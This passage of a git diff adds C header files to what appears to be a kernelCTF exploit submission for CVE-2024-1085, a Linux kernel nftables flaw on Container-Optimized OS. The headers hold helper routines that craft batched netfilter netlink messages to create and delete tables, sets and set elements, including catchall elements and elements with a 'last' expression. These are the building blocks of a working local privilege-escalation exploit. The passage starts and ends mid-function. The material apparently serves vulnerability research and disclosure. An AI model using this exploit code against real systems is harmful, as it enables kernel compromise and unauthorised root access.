sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + struct nl_msg *data = nlmsg_alloc(); + struct nl_msg *data_nest = nlmsg_alloc(); + struct nl_msg *data_nest_nest = nlmsg_alloc(); + //init IPSET_ATTR_DATA + + int i=0; + + nla_put_u32(data_nest_nest, NFTA_SET_FIELD_LEN, htonl(0x10)); + for(i=0;i<2;i++){ + nla_put_nested(data_nest, NFTA_LIST_ELEM, data_nest_nest); + } + + nla_put_nested(data, NFTA_SET_DESC_CONCAT, data_nest); + //create test1 + nla_put_string(msg2, NFTA_SET_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_NAME, set_name); + nla_put_u32(msg2, NFTA_SET_ID, 0x10); + nla_put_nested(msg2, NFTA_SET_DESC, data); + nla_put_u32(msg2, NFTA_SET_KEY_LEN, htonl(0x40)); + nla_put_u32(msg2, NFTA_SET_FLAGS, htonl(NFT_SET_INTERVAL|NFT_SET_OBJECT|NFT_SET_CONCAT)); + nla_put_u32(msg2, NFTA_SET_OBJ_TYPE, htonl(obj_type)); + //int res = nl_send_auto(socket, msg); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create set\n"); + } +} + + +void new_set_bitmap(struct nl_sock * socket, char *table_name, char *set_name){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSET),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + //struct nl_msg *data = nlmsg_alloc(); + + //nla_put_u32(data, NFTA_SET_DESC_SIZE, htonl(0x1000)); + nla_put_string(msg2, NFTA_SET_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_NAME, set_name); + nla_put_u32(msg2, NFTA_SET_KEY_LEN, htonl(2)); + nla_put_u32(msg2, NFTA_SET_ID, 0x10); + //nla_put_nested(msg2, NFTA_SET_DESC, data); + //nla_put_u32(msg2, NFTA_SET_FLAGS, htonl(NFT_SET_OBJECT)); + //nla_put_u32(msg2, NFTA_SET_OBJ_TYPE, htonl(obj_type)); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create set\n"); + } +} + +struct nlmsghdr *del_set_msg(char *table_name, char *set_name){ + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_DELSET),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + //init msg + nla_put_string(msg2, NFTA_SET_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_NAME, set_name); + return hdr2; +} diff --git a/pocs/linux/kernelctf/CVE-2024-1085_cos/exploit/cos-105-17412.226.43/setelem.h b/pocs/linux/kernelctf/CVE-2024-1085_cos/exploit/cos-105-17412.226.43/setelem.h new file mode 100644 index 00000000..729f91e2 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-1085_cos/exploit/cos-105-17412.226.43/setelem.h @@ -0,0 +1,315 @@ +void new_setelem(struct nl_sock * socket,char *table_name, char *set_name, void *udata, uint32_t ulen, char *obj_ref, char * input_key, int key_len, char *key_end, int key_end_len, int if_catchall){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSETELEM),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + //create test1 + struct nl_msg *elem = nlmsg_alloc(); + struct nl_msg *elem_nest = nlmsg_alloc(); + struct nl_msg *elem_key = nlmsg_alloc(); + struct nl_msg *elem_end = nlmsg_alloc(); + uint64_t key = input_key; + if(obj_ref) + nla_put_string(elem_nest, NFTA_SET_ELEM_OBJREF, obj_ref); + if(if_catchall){ + nla_put_u32(elem_nest, NFTA_SET_ELEM_FLAGS, htonl(NFT_SET_ELEM_CATCHALL)); + } + else{ + nla_put(elem_key, NFTA_DATA_VALUE, key_len, input_key); + if(key_end != NULL){ + nla_put(elem_end, NFTA_DATA_VALUE, key_end_len, key_end); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY_END, elem_end); + } + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key); + } + if(udata>0){ + nla_put(elem_nest, NFTA_SET_ELEM_USERDATA, ulen, udata); + } + + nla_put_nested(elem, 1, elem_nest); + + nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set_name); + nla_put_nested(msg2, NFTA_SET_ELEM_LIST_ELEMENTS, elem); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create setelem\n"); + } +} + +void new_setelem_with_expr(struct nl_sock * socket,char *table_name, char *set_name, void *udata, uint32_t ulen, char *obj_ref, char * input_key, int key_len, char *key_end, int key_end_len){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSETELEM),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + //create test1 + struct nl_msg *elem = nlmsg_alloc(); + struct nl_msg *elem_nest = nlmsg_alloc(); + struct nl_msg *elem_key = nlmsg_alloc(); + struct nl_msg *elem_end = nlmsg_alloc(); + struct nl_msg *elem_expr = nlmsg_alloc(); + struct nl_msg *elem_expr_data = nlmsg_alloc(); + struct nl_msg *elem_expr_data_cmp_data = nlmsg_alloc(); + uint64_t key = input_key; + nla_put_string(elem_expr, NFTA_EXPR_NAME, "last"); + nla_put_nested(elem_nest, NFTA_SET_ELEM_EXPR, elem_expr); + nla_put(elem_key, NFTA_DATA_VALUE, key_len, input_key); + if(key_end != NULL){ + nla_put(elem_end, NFTA_DATA_VALUE, key_end_len, key_end); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY_END, elem_end); + } + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key); + if(obj_ref != NULL) + nla_put_string(elem_nest, NFTA_SET_ELEM_OBJREF, obj_ref); + //nla_put_u32(elem_nest, NFTA_SET_ELEM_FLAGS, htonl(NFT_SET_ELEM_CATCHALL)); + if(udata>0){ + nla_put(elem_nest, NFTA_SET_ELEM_USERDATA, ulen, udata); + } + + nla_put_nested(elem, 1, elem_nest); + + nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set_name); + nla_put_nested(msg2, NFTA_SET_ELEM_LIST_ELEMENTS, elem); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create setelem\n"); + } +} + + +void get_setelem(struct nl_sock * socket, char *table_name, char *set_name, char *input_key, int key_len){ + //init msg + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + nfnlmsg_put( + msg, + NL_AUTO_PID, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_SUBSYS_NFTABLES, //SUBSYS + NFT_MSG_GETSETELEM, // TYPE + NLM_F_REQUEST, //NLM_F_ECHO + 2, //FAMILY + 0 //RES_ID + ); + //init msg + struct nl_msg *elem = nlmsg_alloc(); + struct nl_msg *elem_nest = nlmsg_alloc(); + struct nl_msg *elem_key = nlmsg_alloc(); + + nla_put(elem_key, NFTA_DATA_VALUE, key_len, input_key); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key); + nla_put_nested(elem, 1, elem_nest); + nla_put_string(msg, NFTA_SET_ELEM_LIST_TABLE, table_name); + nla_put_string(msg, NFTA_SET_ELEM_LIST_SET, set_name); + nla_put_nested(msg, NFTA_SET_ELEM_LIST_ELEMENTS, elem); + + int res = nl_send_auto(socket, msg); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + + } +} + +void del_setelem(struct nl_sock * socket, char *table, char *set, char *key, int key_size, char *key_end, int key_end_size){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_DELSETELEM),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + //create test1 + struct nl_msg *elem = nlmsg_alloc(); + struct nl_msg *elem_nest = nlmsg_alloc(); + struct nl_msg *elem_key = nlmsg_alloc(); + struct nl_msg *elem_key_end = nlmsg_alloc(); + nla_put(elem_key, NFTA_DATA_VALUE, key_size, key); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key); + if(key_end){ + nla_put(elem_key_end, NFTA_DATA_VALUE, key_end_size, key_end); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY_END, elem_key_end); + } + nla_put_nested(elem, 1, elem_nest); + + nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table); + nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set); + nla_put_nested(msg2, NFTA_SET_ELEM_LIST_ELEMENTS, elem); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len), hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len), hdr3, NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + printf("Delete setelem\n"); + } +} + +struct nlmsghdr * del_setelem_msg(char *table, char *set, char *key, int key_len, char *key_end, int key_end_len, int if_catchall){ + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_DELSETELEM),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + //init msg + struct nl_msg *elem = nlmsg_alloc(); + struct nl_msg *elem_nest = nlmsg_alloc(); + struct nl_msg *elem_key = nlmsg_alloc(); + struct nl_msg *elem_key_end = nlmsg_alloc(); + if(if_catchall){ + nla_put_u32(elem_nest, NFTA_SET_ELEM_FLAGS, htonl(NFT_SET_ELEM_CATCHALL)); + } + else{ + nla_put(elem_key, NFTA_DATA_VALUE, key_len, key); + if(key_end != NULL){ + nla_put(elem_key_end, NFTA_DATA_VALUE, key_end_len, key_end); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY_END, elem_key_end); + } + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key); + } + nla_put_nested(elem, 1, elem_nest); + + nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table); + nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set); + nla_put_nested(msg2, NFTA_SET_ELEM_LIST_ELEMENTS, elem); + return hdr2; +} diff --git a/pocs/linux/kernelctf/CVE-2024-1085_cos/exploit/cos-105-17412.226.43/table.h b/pocs/linux/kernelctf/CVE-2024-1085_cos/exploit/cos-105-17412.226.43/table.h new file mode 100644 index 00000000..36ff6aff --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-1085_cos/exploit/cos-105-17412.226.43/table.h @@ -0,0 +1,215 @@ +void new_table(struct nl_sock * socket, char *name){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2;//NFPROTO_IPV4; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWTABLE),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + nla_put_string(msg2, NFTA_TABLE_NAME, name); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create table\n"); + } +} + +void get_table(struct nl_sock * socket, char *name){ + //init msg + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + nfnlmsg_put( + msg, + NL_AUTO_PID, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_SUBSYS_NFTABLES, //SUBSYS + NFT_MSG_GETTABLE, // TYPE + NLM_F_REQUEST, //NLM_F_ECHO + 2, //FAMILY + 0 //RES_ID + ); + //init msg + nla_put_string(msg, NFTA_TABLE_NAME, name); + + int res = nl_send_auto(socket, msg); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Get table %s\n",name); + } +} + +void new_table_with_udata(struct nl_sock * socket, char *name,char *udata, int len){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2;//NFPROTO_IPV4; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWTABLE),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + nla_put_string(msg2, NFTA_TABLE_NAME, name); + nla_put(msg2,NFTA_TABLE_USERDATA,len,udata); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create table\n"); + } +} +struct nlmsghdr *del_table_msg(char *table_name){ + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_DELTABLE),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + //init msg + nla_put_string(msg2, NFTA_SET_TABLE, table_name); + return hdr2; +} +void del_table(struct nl_sock * socket, char *table_name){ + + struct nl_msg * msg = nlmsg_alloc(); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_DELTABLE),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + + nla_put_string(msg2, NFTA_TABLE_NAME, table_name); + + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + 